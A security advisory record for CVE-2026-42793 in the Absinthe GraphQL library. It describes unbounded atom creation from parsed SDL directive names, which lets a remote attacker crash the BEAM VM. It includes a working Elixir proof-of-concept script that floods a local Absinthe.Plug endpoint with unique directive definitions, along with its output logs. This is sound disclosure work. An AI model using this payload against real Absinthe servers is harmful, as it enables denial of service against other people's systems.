CVE-2026-42793: Absinthe Unbounded Atom Creation From Parsed Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qf4g-9fqq-mmm7",
  "modified" : "2026-05-14T13:08:32Z",
  "published" : "2026-05-14T13:08:32Z",
  "aliases" : [ "CVE-2026-42793" ],
  "summary" : "Absinthe: Unbounded atom creation from parsed directive name",
  "details" : "### Summary\nWhen Absinthe parses a GraphQL SDL document, every `directive @<name>` definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names.\n\nIntroduced in https://github.com/absinthe-graphql/absinthe/commit/d0eae7764520d4e8e5dfff619068c0de911aec33\n\n### Details\nIn `lib/absinthe/language/directive_definition.ex:27`, the `Blueprint.from_ast/2` conversion does:\n\n```elixir\nMacro.underscore(node.name) |> String.to_atom()\n```\n\n`node.name` is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of `String.to_existing_atom/1`, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table.\n\nAny code path that runs `Absinthe.Phase.Parse` (or any equivalent that ultimately calls `Absinthe.Blueprint.Draft.convert/2` on a parsed `DirectiveDefinition` node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique `directive @<random>` definitions to exhaust the atom table and crash the BEAM.\n\nThe same vulnerablity was found in these files as well:\n\n- `lib/absinthe/language/enum_type_definition.ex:23`\n- `lib/absinthe/language/field_definition.ex:27`\n- `lib/absinthe/language/input_object_type_definition.ex:24`\n- `lib/absinthe/language/input_value_definition.ex:31`\n- `lib/absinthe/language/interface_type_definition.ex:26`\n- `lib/absinthe/language/object_type_definition.ex:27`\n- `lib/absinthe/language/scalar_type_definition.ex:23`\n- `lib/absinthe/language/union_type_definition.ex:24`\n- maybe others too.\n\nPlease do a search&replace in the whole project.\n\n### PoC\nA script that parses a generated SDL document containing many unique `directive @<random>` definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report.\n\n### Impact\nThis is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from parsed directive name\n\nMix.install([\n  {:absinthe, \"~> 1.7\"},\n  {:absinthe_plug, \"~> 1.5\"},\n  {:bandit, \"~> 1.5\"},\n  {:plug, \"~> 1.16\"},\n  {:jason, \"~> 1.4\"},\n  {:req, \"~> 0.5\"}\n])\n\n# Minimal Absinthe schema -- the only thing it needs to do is exist\n# so that Absinthe.Plug will parse incoming GraphQL documents.\ndefmodule DemoSchema do\n  use Absinthe.Schema\n\n  query do\n    field :hello, :string do\n      resolve fn _, _, _ -> {:ok, \"world\"} end\n    end\n  end\nend\n\n# Standard absinthe_plug HTTP entry point. This is the public\n# trust boundary: anyone who can reach the server can POST a\n# GraphQL document, which Absinthe will parse and lower into a\n# Blueprint -- the path that mints atoms from directive names.\ndefmodule Router do\n  use Plug.Router\n\n  plug Plug.Parsers,\n    parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :match\n  plug :dispatch\n\n  forward \"/graphql\", to: Absinthe.Plug, init_opts: [schema: DemoSchema]\n\n  match _ do\n    send_resp(conn, 404, \"not found\")\n  end\nend\n\nport = 41_731\n{:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false)\n\nbase = \"http://127.0.0.1:#{port}/graphql\"\n\n# Attacker-controlled GraphQL document: a flood of unique directive\n# definitions plus a trivial operation. Absinthe parses the whole\n# document and converts each DirectiveDefinition AST node into a\n# Blueprint, calling String.to_atom/1 on every directive name along\n# the way (lib/absinthe/language/directive_definition.ex:27).\nn = 5_000\nrandom_tag = :crypto.strong_rand_bytes(4) |> Base.encode16(case: :lower)\n\ndirectives =\n  1..n\n  |> Enum.map_join(\"\\n\", fn i ->\n    \"directive @atomdos_#{random_tag}_#{i} on FIELD\"\n  end)\n\ndocument = directives <> \"\\nquery { hello }\\n\"\n\nbefore_atoms = :erlang.system_info(:atom_count)\n\nresponse =\n  Req.post!(base,\n    headers: [{\"content-type\", \"application/graphql\"}],\n    body: document,\n    receive_timeout: 60_000\n  )\n\nafter_atoms = :erlang.system_info(:atom_count)\ndelta = after_atoms - before_atoms\n\nIO.puts(\"HTTP status:        #{response.status}\")\nIO.puts(\"payload directives: #{n}\")\nIO.puts(\"atom_count before:  #{before_atoms}\")\nIO.puts(\"atom_count after:   #{after_atoms}\")\nIO.puts(\"delta:              #{delta}\")\n\n# Tear the listener down so the script can be re-run cleanly.\nProcess.exit(server_pid, :normal)\n\nresult =\n  if delta >= n do\n    \"VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (>= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -> Absinthe.Language.DirectiveDefinition.\"\n  else\n    \"NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP.\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP status:        200\npayload directives: 5000\natom_count before:  26049\natom_count after:   32581\ndelta:              6532\nVERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (>= 5000 attacker-supplied directive names)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "absinthe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.5.0"
      }, {
        "fixed" : "1.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-qf4g-9fqq-mmm7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42793"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/commit/dd842b938e3823f345c10416914ffab5d5536838"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-42793.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/absinthe-graphql/absinthe"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-42793"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T13:08:32Z",
    "nvd_published_at" : "2026-05-08T16:16:12Z"
  }
}